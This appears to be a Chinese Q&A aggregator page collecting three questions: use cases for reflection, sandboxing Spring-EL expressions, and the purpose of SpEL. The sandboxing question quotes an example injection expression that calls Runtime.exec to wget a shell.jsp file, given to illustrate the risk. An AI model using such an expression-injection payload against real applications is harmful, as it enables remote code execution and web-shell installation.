相关疑难解决方法(0)

用例反射

最近我和一位同事讨论了C++并且遗憾地说,没有办法用类字段的名字取一个字符串并用该名称提取字段; 换句话说,它缺乏反思.他给了我一个莫名其妙的表情,并询问何时有人需要做这样的事情.

除了"嘿,我现在需要立即行动"之外,我的头脑中没有一个好的答案.所以我坐下来想出了一些我用各种语言反射实际完成的事情.不幸的是,我的大多数例子来自我在Python中的Web编程,我希望这里的人会有更多的例子.这是我提出的清单:

  1. 给定一个包含
    x ="Hello World!" 等行的配置文件
    y = 5.0
    动态设置某个config对象的字段等于该文件中的值.(这是我希望我能用C++做的,但实际上做不到.)

  2. 排序对象列表时,根据配置文件或Web请求中属性名称的任意属性进行排序.

  3. 编写使用网络协议的软件时,反射允许您根据该协议的字符串值调用方法.例如,我编写了一个IRC机器人,它将转换
    !some_command arg1 arg2
    为方法调用actions.some_command(arg1, arg2)并打印返回IRC通道的任何函数.

  4. 当使用Python的__getattr__函数(类似于Ruby/Smalltalk中的method_missing)时,我正在使用一个包含大量统计信息的类,例如late_total.对于每个统计数据,我希望能够添加_percent以将该统计数据作为我计算的总数的百分比(例如,stats.late_total_percent).反思使这很容易.

那么这里的任何人都可以从他们自己的编程经验中给出任何反映有用的例子吗?下一次同事问我为什么"想要做那样的事情"我想做好准备.

reflection

21
推荐指数
1
解决办法
6236
查看次数

Spring-EL表达式可以在沙箱中执行吗?

我正在使用 Spring-EL 创建动态 csv 字段到类字段映射,用于不同的 Spring-Batch 导入作业。(不同的输入文件,相同的输出类)。这工作得很好,但想法是用户必须能够创建这样的映射配置。

问题在于 Spring-EL 表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

我的问题是,如何在某种沙箱中运行 Spring-EL 或限制仅访问一组特定的方法/类?我找不到与该主题相关的任何内容。也许 Spring-EL 不是这项工作的正确选择。

我试图实现的目标的示例:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
Run Code Online (Sandbox Code Playgroud)

spring sandbox spring-el

4
推荐指数
1
解决办法
668
查看次数

Spring表达式语言的精确使用

我正在努力学习Spring,所以从这里我得到了这个例子,

ExpressionParser parser = new SpelExpressionParser();

// evals to "Hello World"
String helloWorld = (String) parser.parseExpression("'Hello World'").getValue();
Run Code Online (Sandbox Code Playgroud)

但我不明白它的确切用法,因为我可以更好地将它声明为

String helloWorld = "Hello World";
Run Code Online (Sandbox Code Playgroud)

那么上面的具体用途是什么呢SpEL

我可以在哪里更好地使用它?

java spring el spring-mvc

2
推荐指数
1
解决办法
2761
查看次数

标签 统计

spring ×2

el ×1

java ×1

reflection ×1

sandbox ×1

spring-el ×1

spring-mvc ×1